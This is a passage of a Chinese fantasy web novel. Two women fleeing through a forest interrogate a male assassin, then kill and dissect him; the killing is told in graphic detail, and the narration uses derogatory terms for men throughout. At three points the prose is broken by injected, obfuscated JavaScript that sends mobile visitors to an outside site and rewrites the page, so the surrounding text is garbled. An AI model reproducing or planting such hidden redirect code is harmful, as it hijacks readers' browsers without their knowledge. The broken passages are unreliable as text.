“第一,牠本来就是衡山掌门目前的独生吊,衡山将来的第一顺位继承者,既然有家业那么就没必要这时立刻来争你那份儿,即便牠对你家产也眼馋,也得先求稳,彻底掌握了碗里了再看锅里的;不然就可能会两样都没了。 “第二,牠虽然在终南求学,但是牠毕竟是别人家的继承人并且还没有正式接手家业,对于许多事,牠就算知情也可能不会太知情。而且你也说过牠心肠好,假设牠确实是个品行不算差的吊子,那么牠得知了你爹要算计你或者你会有危险,那么牠会看情况提醒你甚至给你解围的概率也可能不低,而这无疑会阻碍你爹实施计划,因此牠们不太可能直接跟魏正卿通气,毕竟杀你也是个大事,需要多方考虑,魏正卿是个相对来说‘不确定、不稳定’的因素,自然需要被排除在外。所以,如果你爹真就伙同不秋真人要对你下手,那么也明显不会把这种事告诉牠,牠不知情的概率就更高了一些。 “假如牠确实不知情,那么牠就可能不知道你会出事,然后也就没阻止你去参加这场群英宴了。”萧隐说完,想了下,“不过也有另一种可能。” “你是说……他所谓的好,也是装出来的?”伶舟絮问,“你是觉得我师兄也可能就是个伪君子,他就算真的知情了,也可能会出于种种原因,跟别人瓜葛着,算计我?” 萧隐颔首,伶舟絮简直要气笑了。“这次你又是奔着什么去疑虑的?”她问,“不会又是只凭借他性别丁,你就这么疑虑吧?” 萧隐没说话,只是默默看着她。 “你这已经不是单纯的‘觉得可疑’了,你这属于多疑,”伶舟絮说着,站了起来。噼啪一声,她随手将吃完了肉的签子丢到锅旁边的碟子上,“不管是我师兄,我爹,还是不秋真人,我认识他们的时间都比你更久,这么多年来,我们共事的次数没有几十也有十几,你大可以说你疑虑所有丁的,倒也不必非要打着个借口、兜着圈子,这么费尽心思的想要迫使我跟你一样多心。” 说完,她拍拍手,拂衣而去。 火堆旁,萧隐望着她走进帐篷中的背影,没说什么,眼神很安静。 74.歇脚 …… 翌日,清晨。 伶舟絮走出帐篷就是微微一顿,只见萧隐还坐在火堆旁边,不知道在想什么。脚步声越来越近,萧隐回头,“絮姑娘早。”她伸手扑了扑木墩子上的灰,伶舟絮顺势坐在了她旁边。 “你在想什么呢?”伶舟絮想了一下到底打了个直球,萧隐:“没想什么,在看锅。” 伶舟絮这才注意到她们跟前的火堆上架着一口锅,锅里咕嘟嘟冒着热气,似乎正在炖煮着什么东西,她皱着鼻子嗅了嗅,还没等开口,萧隐就说:“我捉了几条鱼煲汤,又闷了点儿米饭,就快好了。”伶舟絮顺着她指的方向一看才发现原来火堆另一头还放着一口锅,正是她们昨晚上用的那个。 “这荒郊野岭的,哪来的米?”伶舟絮不解。 萧隐:“我为了预防万一提前带了一些粮食,这时正好派上用场。” 伶舟絮顿了下,究竟问道:“你都带了什么啊?”又是淬毒的袖箭,又是玄铁类似物的匕首,又是降落伞,又是锅,又是米……萧隐到底为了这场群英宴都准备了些什么东西?怎么好像个百宝囊大管家一样,不论什么,她都能随时随地找出来然后给她们用? 萧隐回想了一下,只说:“带了一些应急用品而已。” 伶舟絮觉得她这是也有些数不清自己都带了啥了,一时不由摇头啧啧。余光突然瞥见了那口炖着鱼汤的锅,伶舟絮忽然想起来了一件事,皱眉道:“你今早上做鱼汤……昨晚上炖的那些汤不是还没喝完吗?”至少昨天她进帐篷之前还发现锅里剩下一部分汤。 萧隐应声,“我用了昨晚的汤煮今天的饭。” 伶舟絮:……??? 她还是第一次听说这两个能放一起做的,可是真的开锅盛饭时,她又忍不住多吃了二大碗,萧隐没说什么,只是顺手又捞了鱼肉给她,伶舟絮一边吃,一边听她说道:“稍后我们启程往东走。” 闻声,伶舟絮扒饭的手停了一刹。“用不着吧,”她抬头咽了吃的,说,“这块营地就不错,你还特意做了机关,如果说再走,那就太麻烦了,不光选址,机关你也要拔掉重做。而且,”她思索了一下,“昨天辰时左右我们遇到飞鼠,现在上边肯定都知道这件事了,搜过来那也只是时间问题,我们在这里安安稳稳等着就行吧?” 萧隐却摇了摇头,“这里虽然邻水背阴背风,昨天还布置了机关,但是距离人烟太远,属于深林深处,可能有野兽出没,对你我而言并不安全。” 伶舟絮:“可我们昨天出事闹了那么大的动静,现在肯定有人已经往这里来了,我们再腾地方,岂不是反而增加搜救难度?” 萧隐闻声默然片刻,“长时间留在同一个地方安营扎寨,很容易留下更多气息——这更可能会吸引猛兽的注意力,我们虽然有一些武器防身但是要想安全返回人群,还是要尽量避免和野兽发生冲突。至于那些来搜救的人,我想我们也得保持警惕,毕竟这两天发生的事,极有可能就是人祸……”她没有继续说下去,可伶舟絮眉头已经拧了起来,而且她已经知道了萧隐的意思,“你是说那些来‘搜救’的人,也可能并不是来救我们,而是要杀人灭口?” 萧隐点头。 虽然伶舟絮本想反驳,但是萧隐说得对,经过一夜辗转反侧,她也大概摸清了一些事情,比如这几次“意外”,昆仑的人确实脱不开责任,不论到底是她爹伙同不秋真人确实算计了她,还是她爹监护不力、不秋真人办事不周,现如今,这种苦果都得她来尝,如果说她一昧降低警惕性并把时间精力之类的沉没成本大幅度投注在为别人的过失打掩护上,那么她无疑就更容易内耗自己从而削减自己安全走出深林的可能性。萧隐昨晚说的那些话,细想想,虽说刺耳,但是从道理从逻辑从现实上也确实站得住脚,毕竟那些人(包括不限于她爹)确实都有作案慊疑,退一步讲,即便不是她爹他们要害她,那么这狍鸮和飞鼠的事是人祸也是八九不离十,如果说真的有人要来对她们杀人灭口,那么停在原地不动,着实不算个好办法,她们最好还是像萧隐说的那样,及时赶路,变换营地。 于是伶舟絮也没再多说什么,可是走到了林中,她还是禁不住有些想要抱怨。 这里丛林深深,到处都是苍天大树,虽然还是大白天,隐约有太阳光穿过树木间隙投下来,但是巨大的树冠还是遮蔽了许多光亮,一根根枝条和一团团盘错的树根在她们周围似乎有些张牙舞爪,萧隐一边低头看着手上托着的东西一边不时抬头找合适的路,在伶舟絮跟前走着,两人亦步亦趋。伶舟絮终于按捺不住垫脚拍了拍萧隐肩头:“你这司南到底靠不靠谱?” 萧隐闻声顿了一下。 伶舟絮知道自己这样怀疑不太好,可是她在玄门往常都是用灵力直接分辨方向,就算是外门学生也没几个还在历练中用司南这么老套的工具辨别南北的了,更何况,萧隐手头材料有限,这个司南也是个低配版: 灵力盛行的修真界,现在市面上没有卖现成的司南的,就连凡尘中需要用到司南的人也并不多,用也普遍是为了航海,而终南所在地显然也跟航海八竿子打不着一撇,萧隐也就并没有淘到司南现成品; 修真本也跟磁场相关,天然磁石能跟别的物质混合做出法器,是高价原料,萧隐也就没有弄到天然磁石做司南,还好宗门附近有些犄角旮旯胡同的小铺子里会卖一点边角料磁铁(普遍都是别人炼器弄出来的残渣),虽然价格不算低,但是总归比天然磁石更好到手,萧隐也就终于拿到了一件比较关键的东西备用。现在她们用的这个指南针就是今天早上伶舟絮还在吃饭的时候,萧隐临时做出来的。只用了一块磁铁,一根缝衣针,一只尖嘴钳、一枚揿纽,一枚大头针和一粒木塞。 伶舟絮看着她将缝衣针在磁铁的一头(一极),朝同一方向连续磨几次。用尖嘴钳把揿钮的凸面压弯,成拱形,使揿钮上的两个小孔基本成一条直线。然后把在磁铁上磨过的有磁性的针,穿过相对的两个小孔(注意针的两端平衡)。又用大头针穿过软木塞的中心,使大头针大头在下,尖头在上,把它作为底座。把上面穿有磁针的揿钮的凸头套盖在大头针的顶端,这时指针转动,萧隐松了一口气,说:大功告成了。 可伶舟絮对这种简易到有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282133|123631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗陋的东西实在很难不怀疑,毕竟这都是玄门修士不屑用的把戏,而且她还是养尊处优的,这些当然都是别人做,她也就没怎么学过,这时两人都困在深山野林,还都只能靠这么个简陋的玩意把握方向,伶舟絮真觉得这有些不妥。 “原理我已经在书上摸清了,这些步骤虽然也是我自己摸索的,但是符合原理也确实能用,想必都没错,”萧隐说,“至于有效性……”她抬头看了看周围,“司南无论在什么地方、什么时间都始终指着南北方向,而且从光的方向来看,我们也确实正在由西向东走——那就没错,这司南确实是能用的。” 伶舟絮听完,恹恹应了一声。 萧隐沉默一瞬,忽然道:“休息下吧。” 伶舟絮不由一愣,“什么?” 她们才走了没多久,看萧隐的样子,也完全不是多么疲惫,为什么这就决定让她们就地休息了?伶舟絮看着萧隐,有些惊异也有些不理解,萧隐一言不发从芥子囊中提出了一把折叠椅,唤伶舟絮过来。伶舟絮从善如流坐下了,却还是忍不住抬头看她,“休息多久?” “等絮姑娘不累了再走。”萧隐站在她身边,一边低头看看指南针,一边不时观察周围情况,说道。 伶舟絮这才反应过来,萧隐敏锐地察觉了她刚才的厌倦,于是这次休整实际上就是萧隐特意为了她放缓行程才弄下来的。 一时间,伶舟絮抿了抿嘴,“你累不累?”她歇了一会儿站起来,问萧隐。那意思很明显:你要不要坐下来歇歇脚? 萧隐摇头,转头还想对伶舟絮说些什么,突然间目光一凛,下一刻只听一阵细小的破空声骤然从她们之间炸开! 伶舟絮下意识扭头,没等看清那到底是什么,忽然从旁边传来一股莫大的推力,顿时她整个人摔了出去,还不待她反应过来,哗啦一声,一样物什紧跟着冲她飞了过来,伶舟絮立刻双臂护住头脸,砰的一声闷响,她倒抽了一口气——原来,只一刹那,那物体就砸中了她的手臂,而她后背也在那次推搡中直接撞上了一个障碍物,一阵剧痛霎时间从她身前身后猛地爆开!伶舟絮几乎有些头昏眼花。 倒不完全是疼得慌,主要是那刚刚一下子把她颠簸得不轻,脑袋虽然因为及时护住了没出什么事,但是忽然蔓延开的疼痛和突发事件带来的惊惧还是让她有些不适地拧紧了眉头,尤其是肺部,从她背部撞到障碍物起就一阵阵往外反着痒,可她也知道自己应该遇到了危险,所以就连咳嗽也是低低两声。足足隔了好一会儿,她耳边才终于不再嗡嗡作响,伶舟絮警惕地放下手,却即刻瞳孔一震——一点寒光竟然在她放下手的瞬间映入她的瞳孔!那是一支箭,不知何时已经穿过了她身前的物品,几乎直逼她面门! 伶舟絮呆滞了一下,却发现那箭没直接伤及她,她疑惑中惊魂不定地喘了口气,然后微微偏头躲过那箭簇,才发现这箭卡住了。而她身前是那把折叠椅,这支箭就正正好好卡在了折叠椅的一个空隙中——虽然和她近在咫尺,但是再前进不得。 忽然,她想起了什么,扒着那折叠椅的缝隙往外一看,接着不由猛地就是一怔。 75.废物(g向屠v) 林间萧萧落叶被狂风卷得到处纷飞,萧隐面不改色。短短一刹,推走了伶舟絮和椅子,她脚边居然就多了个人影。那人穿着身草色蓑衣,戴着斗笠,蒙着脸,倒伏在萧隐跟前。 伶舟絮看着萧隐单膝着地反手将匕首抵在了蒙面人的脖颈上,那里是一条动脉,只要切下去,瞬间就会血流如注,很显然,不止她知道这点,那蒙面人对此也清楚得很,几乎萧隐才把匕首贴上去,牠喘息就顿时粗浊了一些。“别杀我!” 萧隐眉头一挑。粗嘎沙哑,响度大,音调低,果然是个丁人的声音。 她一把抓下了他头上的蒙面布,伶舟絮立刻浑身一震,她一只手死死攥住了折叠椅其中一支铁杆——那是不秋真人手下的一个丁的! 她对于人的脸孔有极强的记忆力和分辨力,就算同卵双胞胎,她也能一眼辨析出外貌上细微的不同——因此她绝不可能认错,这分明就是前两天在瑶台殿和她打过照面的丁人。伶舟絮几乎忍不住马上推了折叠椅,撑起身体奔了过来,“你为什么要杀我!?”她压低了声音一把揪住了那丁人的衣襟,怒目圆睁。而这一下使得那丁的抖如筛糠,匕首锋利,一条血迹已经蜿蜒着从他皮肤下涌了出来嘀嘀嗒嗒往下淌,伶舟絮只恨不得即刻把他啖肉饮血——她虽然并没有怎么杀生过,往常也没有真的和谁结仇结怨到不死不休的地步,但是,她有个处事原则,那就是以牙还牙,以眼还眼。任何人亏她一分一毫,她都能记得清清楚楚,到时候清算起来,也从不含糊,从前有人说她睚眦必报,她听了不屑一顾,如今,眼睁睁看着别人算计她性命,伶舟絮更是觉得这吊子该杀!而这蓬勃怒火显然也刺伤了这丁的,牠立刻看向萧隐,“你……你就不想知道到底是谁派我来的吗?” 萧隐俯视他,神情冷淡,那丁的惊恐发现匕首没有挪开,反而好像还往深了慢慢压下去。 伶舟絮听他这时候还敢开口说半截话,顿时火气上涌直接夺过匕首一手扼住了他咽喉,一手作势就要往他颈动脉切下去。那丁的立刻哀叫:“别杀我!别杀我!我把我知道的都告诉你!” 萧隐:“究竟是谁派你来取人性命,那人又究竟有何目的?”丁的闻声也没想过萧隐竟然能一下子直切要害,即刻他就沉寂了下去,可就这么一刹,伶舟絮已经怒不可遏:“看来不必问了,即刻屠杀。” 她说得果断,吐字清晰,连萧隐都不由偏头看了她一下。伶舟絮说着,手下也不含糊,那丁的直觉危险逼近当即嚎啕:“我不知道!我——我也只是受命于人,不得不为,派我的过来只说事成后给我高官厚禄,再就……再就没别的了!” 伶舟絮拧住他衣领,“谁派你来的?” 萧隐凝视着他,“说。” 那丁的摇头,脸色灰白,眼神却飘忽不定,好像有难言之隐,伶舟絮自动理解为这是在嘴硬,还不等她发火,萧隐突然就掰开那丁的的嘴往里投了个什么,伶舟絮心头一跳不由看向她,只见她单手托住那丁的后脑接着另只手猛地一按他咽喉,咕咚一声,那丁的喉头滚动,将那不晓得什么忽然间咽了下去,然后他脸色竟然慢慢缓和了下来,伶舟絮又惊又怒,“你做什么!”她厉声喝问。不是要一致对敌么?怎么萧隐还帮这险些害了她性命的丁人? 萧隐没看她,而是对那丁的道:“方才你挨的那一箭,上边淬了药,发作起来削肉断骨,能让你活生生肚烂肠穿,痛不欲生。 “你刚才就在发作第一阶段,如果识相,那么我就给你解药,反之——”她没有再说下去,那丁的已经点头如捣蒜,可还不等他接着说什么,一股浓稠的黑血忽而从他口腔中呕了出来,他瞪大了眼睛看着萧隐,目光惊骇又错愕,纵使伶舟絮也有一瞬怔愣。 血渍飞溅上了萧隐半边脸,她反手猛地拔.出了匕首,再就飞快用双手在那丁的身上摸索出一只芥子囊,伶舟絮还没有反应过来,只听“呲拉”一声,她眼睛惊悚地瞪大了——尚且温热的鲜血喷了出来,伶舟絮呆愣愣地看着萧隐,然后忍不住猛然回身扭头干呕起来。 萧隐居然忽地破开了那丁的胸腔——她心想,萧隐居然忽地破开了那丁的胸腔——齿关后知后觉地打着战,伶舟絮愣愣地把一句话想了两遍,然后别过身干哕着实在不敢再看了,她甚至捂住了耳朵——只是瞬息间,原本还活着的丁的,就在她跟前变成了一具支离破碎的尸骨! 她哆嗦着背过身体蜷缩起来,眼前却不断浮现出之前的场景:萧隐手中的匕首,如切糕一般,轻而易举穿过那丁的衣物、皮肉、骨头,绛红色的一片、混着白生生的骨头茬子,红的粉的沦为一团,就那么大大咧咧展现在她眼前! 伶舟絮甚至还能从脸颊沾上的血液中感受到那股还没来得及凉透的热意。 在她身后,萧隐低着头正在忙活。她伸手在那丁的胸腔掰断肋骨,拽出心脏,另只手捞了刚才从这丁的身上找出的芥子囊,右手猛地一用力,“咕叽”一声,一股血液就忽地从她掌心那心脏中渗了出来,淅淅沥沥流到了芥子囊外部,她目不转睛看着那法宝,紧接着空气中似乎有一阵涟漪从那芥子囊周围一圈圈轻轻荡漾开了,萧隐捡起一块石头靠近那芥子囊附近,心念一动,那石头便模糊了形态无影无踪,萧隐却松了一口气:成了。 伶舟絮感觉到身后萧隐的触碰时,一刹那几乎寒毛直竖。 萧隐看着蓦然发了一个激灵的伶舟絮,也是顿了一下,“我们快走。”她说着,快步收拾起来了树下的折叠椅,那支箭矢她也顺势拾掇起来,一并丢进了芥子囊。 伶舟絮还呆立在原地。 她余光一遍遍往旁边扫,然后一遍遍有些情绪崩溃,又不知道从何讲起,萧隐已经奔回来抓住了她的手。 伶舟絮跟着萧隐的拉扯跑着,从树冠上方漏下来的细碎的光斑和她们脚下那些落叶吱吱哇哇的惨叫混着飒飒风声从伶舟絮身边掠过,她看着萧隐抓着她的手奔跑的背影,神情有些恍惚,直到她们停了下来,伶舟絮才终于猛地挣开了萧隐的手。 萧隐回头看她,而她将手战栗着伸到了自己眼前。 红的、带着汗的血迹陷进了她的掌纹,是萧隐不久前屠戮那丁的时带的血通过刚才那一次执手就过到了她手上。伶舟絮难以言喻自己现在的心情。她知道萧隐做的是对的,毕竟如果要让那丁的活下来回去报信,那么就无疑会增大她们的生存难度,而且她也不想这丁的活下来——毕竟,这人要杀她,这种杀身之仇,就算是他未遂,那也结下了,因此不论如何这丁的都必须死。可一想到萧隐之前对那丁的又是下毒,又是喂药,又是许诺,但却忽然间又杀了他,伶舟絮就还是止不住心神不宁,终于她听到了一个人说,“你……为什么要那么做?”声音发抖,似乎已经到了崩溃边缘。萧隐闻声,沉默。伶舟絮这才后知后觉,原来这是她自己的声音。 “废物利用。”萧隐说。 “……什么……?” 萧隐:“我本没打算直接杀他,只是给他下了毒,如果他识相,知无不言,言无不尽,那么我就真的可能会让他死得相对痛快些,可是太不巧了。”她说,“我布置机关时埋藏了一些灵力在其中,有一只猛兽恰恰就在刚刚触动了我之前在那个营地周围遗留的部分机关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13288735|123631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可能是土蝼,也可能是别的什么,我不知道。可那东西很强劲,移动得也很迅速,用不了多久就可能会到我们当时的所在地,我们没有那么多时间能浪费,那些话没问完也问不出所以然了。” 伶舟絮:“……只因为你问不出你想要的了,你就这么杀了他?” 萧隐摇头,“不是。我杀他是因为他注定要死。 “我确实给他下了药也确实有解药,可我也没有那么多解药给他,更没想给,他也不值得我耗费那么多药材在他身上,所以从一开始,他就注定要死,最多只有死得是快是慢的差异罢了。只是我还需要吊着他让他心存幻想,然后把我想知道的都全盘托出,这才对他再三许诺,仅此而已。可他没赶巧,碰上了那种危急关头,我也就只能把他杀了,让他吸引那猛兽的注意力,方便你我逃亡……” 伶舟絮听到这儿,情绪似乎已经拔干了,她看着萧隐,心乱如麻:“所以你杀他的时候,想的是‘左右你都要死,那么就不如死得对我们更有价值一些’?” 萧隐颔首。 伶舟絮:“你取他的心头血,强行解开他的芥子囊……又是为了什么?” 萧隐:“我们需要生存资源,而他身上的芥子囊中可能有我们需要的,而且他受命于人前来杀你,这里头也可能有线索,有助于我们追查幕后黑手。而他的芥子囊,品阶不低,会认主。我并非原主,只能另辟蹊径按照从前道听途说的方式死马当活马医了。” 道听途说?“你是怎么道听途说的?”伶舟絮问。 萧隐:“以前在我老家的时候,曾听说玄门的修士之间为了争夺资源也会起争端。而且因为修士普遍比一般人有更多武力,所以一旦起了冲突,彼此间争斗得也更激烈。坑蒙拐骗偷还算好的,更有甚者,杀人越货也不在话下。后来去了衡山,有人闲聊时谈及某些修士会把别人挖心取血来强行获得某些法器的使用权,我也就顺便记下了。” 伶舟絮忽然噎住了,萧隐说得一气呵成,冷静自持,一点儿都没有打喯儿,好像和她讨论的并不是一个人的生死,而是一片云、一缕风,只此而已,伶舟絮实在不知道自己现在该怎么做出反应。“你不怕?”憋了好久,她究竟只说了这一句。 萧隐摇摇头。 “你不怕遭报应吗?不怕他……索命?” 萧隐直视她,目光平静:“他若有如此能耐何至于命丧我手?” 伶舟絮一下子震住了。 “你……”她木呆呆地瞪着萧隐,一时间竟然也说不出什么来,毕竟她从没想过这种话能从萧隐口中说出来,她也从没见过萧隐这种人——这种杀伐果断到毫不犹豫、毫无内疚也从不拖泥带水的人。如果说之前她还曾怀疑年仅十四岁的萧隐当时到底是不是真的宰了那跛脚丁的,现在,伶舟絮知道了,是真的。一定是真的。萧隐肯定是真的按她说过的那样,杀了那个老光棍。 一时之间,伶舟絮脑袋嗡的一声,看着跟前站着的萧隐,她心里乱糟糟一片。她很想大喊大叫一下发泄情绪,却又觉得心头好像郁结了一股气,怎么也理不顺,怎么也吐不出。 就这么不上不下间,伶舟絮只听萧隐又说:“我知道你会觉得难受,因为你没怎么见识过这种场景,可是许多事并不一定只能存在于我们做好准备之后,所以请你见谅。”说着,她想了一下,“当然了,下次我保证会尽量避免这么突然的在你跟前杀生。” 还有下次。她倏地愣了一下,心想,竟然还有下次…… “你到底还要杀多少人?”忍了又忍,伶舟絮到底忍无可忍发问。 76.不配 萧隐不语,只是望着她,看上去无喜无悲。 伶舟絮却感觉自己已经情绪要满溢了,她想起了这些天萧隐说和做过的事,有击杀狍鸮,有重创飞鼠,有反杀跛脚丁,还有刚刚的突袭那丁的时,那些血,那些裸露的、腥热的脏器,流溢的组织液……萧隐狠厉的出击、冷漠的态度,还有她那张沾血的脸。这不是一个普通人能做到的事,伶舟絮想,一个没有背景、没有正经师承,也没有任何可观的修为的人,绝不可能真的有萧隐这种能耐,她咬了咬嘴唇,想甩开这些杂七杂八的疑虑,可是看着萧隐就在她身前,伶舟絮还是忍不住开始怀疑——“你到底为什么要保护我、要跟着我,你到底想要做什么?”思索了一阵,她终于抛出了问话。说完,她就立刻盯着萧隐——毕竟按照萧隐现在的能力和她已知的萧隐杀人时的果决,如果萧隐真的对她动了杀心,那么就也能轻易杀了她,甚至还可能会游刃有余的销毁证据……而带着她,对萧隐来说其实没多大好处: 首先,她现在武力值低,这时候带着她走,反而是累赘; 其次,她家请萧隐做的就是杂役,不是保镖,萧隐不管她也合情合理,只要不让伶舟絮身上的法宝记录下来萧隐对她犯罪(或者不让记录了萧隐伤害、杀害她的法宝被人发现),那么她家也没道理找萧隐算账; 最后,她现在还在受人追杀,萧隐带着她走极有可能也会沦为目标,从而产生生命危险,而且她们在一起,那些杂活也都是萧隐做,她帮个忙也手脚不利落,反而在消耗生存资源上,她还得占一部分; 所以萧隐为什么还要带着她一起走,而不是丢下她?既然萧隐为了获取更多生存资源都能算计着杀了那丁的,为什么萧隐不设局杀了她来以便萧隐自己获取更多的生存所需? 萧隐:“因为你是女人,我也是女人,我想让我们都能平平安安活下去。” 伶舟絮皱眉,噎了一会儿,她有些不信任萧隐说的话,毕竟她刚才出击太果决,思维也太缜密冷静,实在不像一个正常的理性和感性并存的人,可是从她对萧隐的了解来看,不丢下她,确实也是萧隐能做出来的事,毕竟萧隐的目标是解放所有女人,而伶舟絮就是性别女,只凭这点,萧隐不害她就是完全符合处事原则的。而且,按照理性分析,萧隐这时候扔下她不管才是符合自身利益最大化的条件的,所以救她、保护她、给予她生存资源,本身就应该是一件“非理性”的事,而这恰恰说明萧隐也是理性感性并存的人,而不是一台毫无感情的机器。她很难讲出自己这时的心理感受,伶舟絮觉得自己心中有些讶异,又有些了然,百感交集。 “你真的没学过修仙功法?”她换了个话题,问道。 萧隐摇头。 “那你杀的人,只有那个跛脚丁的,和刚才那个丁的吗?”她说话声音有些犹豫也有些发颤。 萧隐默然了一下,“不是。” 伶舟絮心想果然,连忙追问:“那到底有多少个?” 萧隐沉默。 伶舟絮觉得自己应该崩溃,毕竟萧隐亲口承认她杀的人不止一个了,而且按照萧隐的手法,她杀那些丁的,恐怕不是单纯的杀了就算了,还得是过程上特别血腥暴力,就算不像刚才一般直接将其开膛破肚,可能也是血淋淋一大片,毕竟萧隐似乎偏爱往能够喷血的薄弱点进行攻击——可伶舟絮忽然想起来了什么,倏地一顿,那丁的分明是个修士,又能用得上高品阶的芥子囊,按照高级芥子囊只贩卖给[炼神二重]以上的修行者的规定,那丁的修为肯定远胜萧隐,“他究竟为什么会落败你手?”伶舟絮又问。 萧隐:“因为他那时候凝神忙着射杀你,所以我就趁机反杀了他。” “怎么可能?”伶舟絮不信。虽然那丁的看着贪生怕死,而且修为上并没有太高的样子,但是玄门功法一向从攻击性上属于武功的进阶版,这意味着那丁的很可能从身手上不比萧隐差,从对于法宝的应用上更应该比萧隐还要得心应手,这种情况下,就算萧隐能找到空档恰好在那丁的分神时偷袭了一下,也不太可能一击就打得那丁的毫无还手之力,她到底是用了什么办法把那丁的摆平的? 萧隐只说:“我击中了牠的督脉。” 伶舟絮拧眉:“用什么?还是袖箭吗?” 萧隐颔首,但却开始继续往前走了,她这一次没有拉拽伶舟絮,伶舟絮却也知道轻重缓急,见状立刻跟了上去。 和上次相比,大概是因为她俩刚刚停下来说了一阵话,耽误了正常行程,萧隐这次走得比较急,伶舟絮几乎一路小跑才追上,两人都没说话,可伶舟絮知道,萧隐一直留心她,她也一直留心萧隐。只是萧隐应该是基于对她的保护和关心才留意她,而她却是因为疑虑萧隐这才对萧隐多有留意。 伶舟絮知道,自己这样显得不太厚道,可一连经历了这么多破事,她实在有些惊弓之鸟,更何况,萧隐身上确实疑点重重。 作为一个穷乡僻壤出来的人,就算是个私底下偷学过一些诗文、略有了解《山海经》的屠妇,第一次随行历练,面对修真界这些奇形怪状的猛兽,她究竟为什么这么冷静?就算是往常经常参与历练的人,伶舟絮也不是没见过那一惊一乍的。萧隐太冷静了,冷静得超乎寻常; 而且她为什么提及杀生时,态度那么平静?好像她杀的不是一个活生生的人,而是碾碎了一只臭虫,甚至还用了那么暴力的方式—— 最重要的是,她们在终南时从没有学过人体经络相关的课程,虽然伶舟絮对此是知道的,毕竟修仙有些功法也会讲究讲究经络的概念,但是萧隐从没接触过这些功法,又是怎么知道“任督二脉”这种事的呢? 她思来想去,问出了口,萧隐:“因为我娘体弱,我想学几招给她疏通经络,减缓病痛、健体强身。所以我去镇上请了一位郎中(女)教了我一点儿,虽然不算精通,但是穴位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对,”萧隐说,“我们还要继续活下去,需要更多资源,而牠今日就是注定要死的了,浪费那么多镇痛药给牠,并不划算。” 伶舟絮怔了下,没说什么。她跟在萧隐身后,低着头。 听到“并不划算”四个字,她又不由想起来萧隐承认的那些打算:画饼,让丁的产生不切实际的幻想,说实话;灭口、开膛,让丁的无处可逃,没法通风报信,顺便用牠残骸那浓重的血腥气吸引猛兽注意力,为她们安全撤离创造时机;剖心取血,强行获取物证(比如:那只高级芥子囊)以及新的生存资源,为她们调查幕后黑手和走出深林做筹备……确实是天衣无缝。可伶舟絮还是觉察出了不是,“剖心取血能强行获取法器使用权,这倒是真的,我也曾在玄门新生代日常出行安全教育的大课上听过这种危及我们人身安全的反面例子……” 说着,她猛地闭上了嘴,因为现在她跟前就有一个活生生的教科书级别的“反例”,可萧隐闻声,并没有不满,只是照常持着指南针寻路。 伶舟絮渐渐放松了一些,又问:“你给他下了毒,他的血液不会受到不良影响就产生异变以至于法器没法通过剖心取血的方式易主吗?”所以萧隐刚才到底成功了没有?拿那个芥子囊,究竟是搜集证据、囤积她们所需的备份资源,还是……存有私心? 77.译本 “易主到底怎么个模样,今天前我虽然只是略有耳闻,并没有实操过,但是刚才做事的时候确实也多有用心。”萧隐一边说,一边提醒了一下伶舟絮注意脚下,伶舟絮闻声皱着眉深一脚浅一脚的蹚过乱叶枯枝,“你是说你其实也只是试了一下,并没有想过真的能成功让那芥子囊易主?” 萧隐:“嗯。” “那你成功了吗?” 萧隐:“成功了。” 伶舟絮:“依仗剖心取血成功的?” 萧隐:“是。”她知道伶舟絮这么问到底是想刨根问底什么,索性也没想隐瞒,于是边走边说,“我本来听说的‘让法宝易主’的方法有两个版本。一是取人气海穴的健康鲜血滴在法宝上,二就是取心头血滴在法宝上。而我当时既然已经用淬毒的箭击穿了他的大椎穴促使他整个人阳海枯竭,而气海穴还是上下气机交汇的要穴,作用是调和气机、活化经络,有助于调节身体内外的气血运行,促进身体各系统的协调平衡,既然他那时候中了毒,表现出运动神经元受损的症状,那么他气海穴中想必也有毒素流窜,那里的血液也就不大能用了。” 说实话,不论是刚才听到的“运动神经元”,还是“致癌”“癌痛”或之前萧隐在火堆旁对她所说的“啮齿类动物”“生殖隔离”,其实伶舟絮都有些一知半解,可她大致能通过萧隐所说的话推断出八九不离十的意思,于是她思索着问,“所以,气海穴的鲜血不能用,你就取了他心头血用来强行将那芥子囊易主?” 萧隐点头,搀着她下了一个坡。 “那也不对呀。”伶舟絮一边小心翼翼往下走,一边拧着眉说,“心脏中虽然有鲜血,但是你也说了你下的毒会流窜会快速致癌也会引发癌痛,他既然中了毒,那么他的心脏不也会癌变吗?”你哪来的比较健康的鲜血来用? 